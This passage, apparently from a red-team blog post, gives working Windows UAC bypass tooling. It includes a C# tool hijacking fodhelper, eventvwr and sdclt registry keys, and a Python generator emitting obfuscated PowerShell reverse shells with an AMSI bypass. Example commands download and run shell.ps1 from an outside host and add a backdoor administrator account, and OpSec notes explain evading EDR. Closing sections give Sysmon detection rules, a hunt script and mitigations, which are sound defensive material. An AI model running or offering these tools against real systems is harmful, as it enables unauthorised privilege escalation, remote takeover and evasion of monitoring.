119 UseShellExecute = false
120 });
121 Thread.Sleep(3000);
122 return true;
123 } finally {
124 DeleteRegKey(@"Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe");
125 }
126 }
127
128 // ── bypass catalogue ──────────────────────────────────────────────────
129 class BypassEntry {
130 public string Name;
131 public string Binary;
132 public string Notes;
133 public Func<string, bool> Execute;
134 public bool NeedsFilesystem; // true = cmd must be a file path
135 }
136
137 static List<BypassEntry> BuildCatalogue(string cmd) => new() {
138 new BypassEntry {
139 Name = "fodhelper",
140 Binary = "fodhelper.exe",
141 Notes = "ms-settings HKCU registry hijack — most reliable",
142 Execute = c => BypassFodhelper(c),
143 NeedsFilesystem = false
144 },
145 new BypassEntry {
146 Name = "eventvwr",
147 Binary = "eventvwr.exe",
148 Notes = "mscfile HKCU registry hijack",
149 Execute = c => BypassEventvwr(c),
150 NeedsFilesystem = false
151 },
152 new BypassEntry {
153 Name = "sdclt",
154 Binary = "sdclt.exe /kickoffelev",
155 Notes = "App Paths control.exe redirect — requires file path payload",
156 Execute = c => BypassSdclt(c),
157 NeedsFilesystem = true
158 },
159 };
160
161 // ── main ──────────────────────────────────────────────────────────────
162 static int Main(string[] args) {
163 // parse args
164 string cmd = "powershell.exe -nop -w hidden -ep bypass";
165 string method = null;
166 bool list = false;
167
168 for (int i = 0; i < args.Length; i++) {
169 if (args[i] == "--cmd" && i+1 < args.Length) cmd = args[++i];
170 if (args[i] == "--method" && i+1 < args.Length) method = args[++i];
171 if (args[i] == "--list") list = true;
172 }
173
174 int integrity = GetIntegrityLevel();
175 Console.WriteLine($"[*] current integrity: 0x{integrity:X}");
176
177 if (integrity >= HIGH_INTEGRITY) {
178 Console.WriteLine("[+] already High integrity — no bypass needed");
179 return 0;
180 }
181 if (integrity < MEDIUM_INTEGRITY) {
182 Console.Error.WriteLine("[-] below Medium integrity — bypass will fail");
183 return 1;
184 }
185
186 var catalogue = BuildCatalogue(cmd);
187
188 if (list) {
189 Console.WriteLine("\n[*] available bypasses:");
190 foreach (var b in catalogue)
191 Console.WriteLine($" {b.Name,-15} {b.Binary,-30} {b.Notes}");
192 return 0;
193 }
194
195 // filter to requested method or try all
196 var targets = method != null
197 ? catalogue.FindAll(b => b.Name.Equals(method, StringComparison.OrdinalIgnoreCase))
198 : catalogue;
199
200 if (targets.Count == 0) {
201 Console.Error.WriteLine($"[-] unknown method: {method}");
202 return 1;
203 }
204
205 Console.WriteLine($"[*] command: {cmd}");
206
207 foreach (var bypass in targets) {
208 Console.WriteLine($"\n[*] trying: {bypass.Name} ({bypass.Binary})");
209 try {
210 bool ok = bypass.Execute(cmd);
211 if (ok) {
212 Console.WriteLine($"[+] {bypass.Name} executed — check your listener");
213 return 0;
214 }
215 } catch (Exception ex) {
216 Console.Error.WriteLine($" [-] {bypass.Name} failed: {ex.Message}");
217 }
218 }
219
220 Console.Error.WriteLine("\n[-] all bypass methods failed");
221 return 1;
222 }
223} 1:: compile
2csc.exe /out:UACBypass.exe UACBypass.cs
3
4:: list available bypasses
5UACBypass.exe --list
6
7:: auto-select bypass, default powershell command
8UACBypass.exe
9
10:: custom command
11UACBypass.exe --cmd "powershell -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
12
13:: force specific bypass
14UACBypass.exe --method eventvwr --cmd "cmd /c net user backdoor P@ss123! /add && net localgroup Administrators backdoor /add"Python Payload Generator
Generates ready-to-paste PowerShell bypass commands for each technique, with optional AMSI bypass prepended.
1#!/usr/bin/env python3
2# uac_bypass_gen.py
3# Generates UAC bypass payloads combining a bypass technique
4# with optional AMSI bypass and a reverse shell.
5#
6# Usage:
7# python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444
8# python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --technique eventvwr
9# python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --amsi --b64
10
11import argparse
12import base64
13import random
14import string
15
16def rand_var(n=8):
17 return '$' + ''.join(random.choices(string.ascii_lowercase, k=n))
18
19def make_revshell(lhost, port):
20 return (
21 f"$c=New-Object Net.Sockets.TCPClient('{lhost}',{port});"
22 f"$s=$c.GetStream();"
23 f"[byte[]]$b=0..65535|%{{0}};"
24 f"while(($i=$s.Read($b,0,$b.Length))-ne 0){{"
25 f"$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);"
26 f"$r=(iex $d 2>&1|Out-String);"
27 f"$rb=[Text.Encoding]::ASCII.GetBytes($r+'PS '+(gl).Path+'> ');"
28 f"$s.Write($rb,0,$rb.Length);$s.Flush()}}"
29 )
30
31def make_amsi_bypass():
32 v1, v2, v3 = rand_var(), rand_var(), rand_var()
33 return (
34 f"{v1}='System.Management.Automation.'+'AmsiUtils';"
35 f"{v2}=[Ref].Assembly.GetType({v1});"
36 f"{v3}={v2}.GetField('amsi'+'Context','NonPublic,Static');"
37 f"{v3}.SetValue($null,[IntPtr]::Zero);"
38 )
39
40def encode_cmd(ps_code):
41 encoded = base64.b64encode(ps_code.encode('utf-16-le')).decode()
42 return f"powershell -nop -w hidden -ep bypass -EncodedCommand {encoded}"
43
44def make_fodhelper(cmd, b64=False):
45 inner = encode_cmd(cmd) if b64 else f"powershell -nop -w hidden -ep bypass -c \"{cmd}\""
46 reg = r"HKCU:\Software\Classes\ms-settings\Shell\Open\command"
47 return (
48 f"$p='{reg}';"
49 f"New-Item $p -Force|Out-Null;"
50 f"Set-ItemProperty $p '(Default)' '{inner}';"
51 f"New-ItemProperty $p 'DelegateExecute' -Value '' -Force|Out-Null;"
52 f"Start-Process $env:WINDIR\\System32\\fodhelper.exe -WindowStyle Hidden;"
53 f"Start-Sleep 3;"
54 f"Remove-Item 'HKCU:\\Software\\Classes\\ms-settings' -Recurse -Force -EA 0"
55 )
56
57def make_eventvwr(cmd, b64=False):
58 inner = encode_cmd(cmd) if b64 else f"powershell -nop -w hidden -ep bypass -c \"{cmd}\""
59 reg = r"HKCU:\Software\Classes\mscfile\shell\open\command"
60 return (
61 f"$p='{reg}';"
62 f"New-Item $p -Force|Out-Null;"
63 f"Set-ItemProperty $p '(Default)' '{inner}';"
64 f"Start-Process $env:WINDIR\\System32\\eventvwr.exe -WindowStyle Hidden;"
65 f"Start-Sleep 3;"
66 f"Remove-Item 'HKCU:\\Software\\Classes\\mscfile' -Recurse -Force -EA 0"
67 )
68
69def make_sdclt(payload_path):
70 reg = r"HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
71 return (
72 f"$p='{reg}';"
73 f"New-Item $p -Force|Out-Null;"
74 f"Set-ItemProperty $p '(Default)' '{payload_path}';"
75 f"Start-Process $env:WINDIR\\System32\\sdclt.exe -ArgumentList '/kickoffelev' -WindowStyle Hidden;"
76 f"Start-Sleep 3;"
77 f"Remove-Item $p -Force -EA 0"
78 )
79
80TECHNIQUES = {
81 'fodhelper': make_fodhelper,
82 'eventvwr': make_eventvwr,
83}
84
85def main():
86 p = argparse.ArgumentParser(description="UAC bypass payload generator")
87 p.add_argument('--lhost', required=True)
88 p.add_argument('--lport', default=4444, type=int)
89 p.add_argument('--technique', choices=list(TECHNIQUES.keys()) + ['sdclt', 'all'],
90 default='all')
91 p.add_argument('--amsi', action='store_true', help='prepend AMSI bypass')
92 p.add_argument('--b64', action='store_true', help='base64-encode inner command')
93 p.add_argument('--sdclt-path', default=r'C:\Windows\Tasks\payload.exe',
94 help='payload path for sdclt technique')
95 args = p.parse_args()
96
97 shell = make_revshell(args.lhost, args.lport)
98 amsi = make_amsi_bypass() if args.amsi else ''
99 inner_cmd = amsi + shell
100
101 targets = list(TECHNIQUES.keys()) if args.technique == 'all' else [args.technique]
102 if args.technique in ('all', 'sdclt'):
103 targets.append('sdclt')
104
105 for t in targets:
106 print(f"\n{'='*70}")
107 print(f"# technique: {t}")
108 print('='*70)
109
110 if t == 'sdclt':
111 payload = make_sdclt(args.sdclt_path)
112 else:
113 payload = TECHNIQUES[t](inner_cmd, args.b64)
114
115 print(payload)
116
117 # also print as a one-liner wrapped in powershell -c
118 full = f"powershell -nop -w hidden -ep bypass -c \"{payload}\""
119 enc = base64.b64encode(
120 (f"powershell -nop -ep bypass -c \"{payload}\"").encode('utf-16-le')
121 ).decode()
122 print(f"\n# encoded one-liner:")
123 print(f"powershell -nop -w hidden -ep bypass -EncodedCommand {enc}")
124
125if __name__ == '__main__':
126 main()# generate all techniques with AMSI bypass, base64-encoded
python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --amsi --b64 --technique all
# fodhelper only
python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --technique fodhelper
# sdclt with custom payload path
python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --technique sdclt \
--sdclt-path "C:\Windows\Tasks\svcupdate.exe"Full Engagement Workflow
1. Check integrity level
whoami /groups | findstr Mandatory
→ must be "Medium Mandatory Level" to proceed
2. Apply AMSI bypass (see AMSI blog)
→ prevents bypass payload from being blocked before execution
3. Enumerate available bypass paths
.\Find-UACRegistryGaps.ps1
4. Select technique based on target OS / patch level:
Win10 pre-2019: fodhelper or eventvwr (most reliable)
Win10 post-2019: sdclt or SilentCleanup (if patched)
Win11: CMLuaUtil COM or SilentCleanup DLL
5. Generate payload
python3 uac_bypass_gen.py --lhost 10.10.10.10 --lport 4444 --amsi --b64
6. Execute and catch shell
nc -lvnp 4444
7. Verify elevation on new shell
whoami /groups | findstr "High Mandatory"
8. Proceed with post-exploitation from High integrityTechnique Comparison
| technique | target binary | OS coverage | noise | patches needed |
|---|---|---|---|---|
| fodhelper | fodhelper.exe | Win10/11 | medium | ms-settings HKCU |
| eventvwr | eventvwr.exe | Win7-11 | medium | mscfile HKCU |
| sdclt | sdclt.exe | Win10 | medium | App Paths HKCU |
| SilentCleanup | DismHost.exe | Win10/11 | low | PATH + DLL drop |
| ICMLuaUtil COM | cmluautil.dll | Win7-11 | low | none — pure COM |
| IFileOperation | shell32.dll | Win7-11 | low | none — file copy |
OpSec Notes
- Registry artifacts — all HKCU-based bypasses leave keys that EDR and Sysmon will catch on EID 13 (RegistryValueSet). Always clean up immediately after the bypass triggers — the scripts above do this automatically.
- Process ancestry — High-integrity shells spawned from fodhelper or eventvwr will have those binaries as parent processes.
fodhelper.exe → powershell.exeis a well-known detection pattern. Prefer spawning a sacrificial process and injecting rather than running your C2 directly as a child. - CMLuaUtil is the quietest option: no HKCU registry writes, no suspicious process parents. The COM invocation can still be caught by ETW.
- SilentCleanup runs on a schedule. You can pre-plant the DLL and wait for the next scheduled run rather than triggering it yourself, which avoids the suspicious
Start-ScheduledTaskcall. - Windows 11 22H2+ has patched fodhelper and eventvwr. Always verify the OS build before selecting a technique.
Detection (Blue Team)
| signal | event |
|---|---|
HKCU ms-settings\Shell\Open\command created | Sysmon EID 13 — RegistryValueSet |
HKCU mscfile\shell\open\command created | Sysmon EID 13 — RegistryValueSet |
fodhelper.exe spawning shells | Sysmon EID 1 — ParentImage |
eventvwr.exe spawning shells | Sysmon EID 1 — ParentImage |
sdclt.exe /kickoffelev in command line | Sysmon EID 1 — CommandLine |
| High-integrity process with suspicious parent | Sysmon EID 1 — IntegrityLevel + ParentImage |
SilentCleanup task triggered manually | Windows Task Scheduler EID 200 |
| Unsigned DLL loaded by DismHost.exe | Sysmon EID 7 — ImageLoad |
Sysmon detection rules:
1<!-- UAC bypass registry key creation -->
2<RegistryEvent onmatch="include">
3 <TargetObject condition="contains">ms-settings\Shell\Open\command</TargetObject>
4 <TargetObject condition="contains">mscfile\shell\open\command</TargetObject>
5 <TargetObject condition="contains">App Paths\control.exe</TargetObject>
6</RegistryEvent>
7
8<!-- Auto-elevated binaries spawning children -->
9<ProcessCreate onmatch="include">
10 <ParentImage condition="is">C:\Windows\System32\fodhelper.exe</ParentImage>
11 <ParentImage condition="is">C:\Windows\System32\eventvwr.exe</ParentImage>
12 <ParentImage condition="is">C:\Windows\System32\sdclt.exe</ParentImage>
13</ProcessCreate>PowerShell hunt query — find UAC bypass registry artifacts:
1# Hunt-UACBypassKeys.ps1
2$suspiciousKeys = @(
3 "HKCU:\Software\Classes\ms-settings",
4 "HKCU:\Software\Classes\mscfile",
5 "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
6)
7
8foreach ($key in $suspiciousKeys) {
9 if (Test-Path $key) {
10 Write-Host "[!] SUSPICIOUS KEY FOUND: $key" -ForegroundColor Red
11 Get-ItemProperty $key -ErrorAction SilentlyContinue |
12 Format-List | Out-Host
13 }
14}
15
16# also query Sysmon EID 13 for recent registry writes to these paths
17Get-WinEvent -FilterHashtable @{
18 LogName = "Microsoft-Windows-Sysmon/Operational"; Id = 13
19} -MaxEvents 500 -ErrorAction SilentlyContinue |
20Where-Object { $_.Message -match "ms-settings|mscfile|App Paths\\control" } |
21Select-Object TimeCreated, Message | Format-ListMitigation:
# Set UAC to "Always notify" — makes auto-elevation require explicit prompt
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `
-Name "ConsentPromptBehaviorAdmin" -Value 2 -Type DWord
# Disable auto-elevation entirely (breaks some legitimate apps)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `
-Name "EnableLUA" -Value 1 -Type DWordMITRE ATT&CK
| technique | ID | description |
|---|---|---|
| Bypass User Account Control | T1548.002 | All registry hijack techniques |
| Abuse Elevation Control Mechanism | T1548 | Parent technique |
| Hijack Execution Flow | T1574 | SilentCleanup DLL hijack |
| Modify Registry | T1112 | HKCU key manipulation |
| Defense Evasion | TA0005 | Primary tactic |
| Privilege Escalation | TA0004 | Primary tactic |
References
- MITRE ATT&CK T1548.002 — Bypass UAC
- hfiref0x — UACME project (comprehensive bypass catalogue)
- Matt Nelson (@enigma0x3) — fodhelper and eventvwr research
- PayloadsAllTheThings — UAC Bypass
- LOLBAS Project
- Oddvar Moe — sdclt research
- James Forshaw — Windows security internals and UAC analysis
- api0cradle — UltimateAppLockerByPassList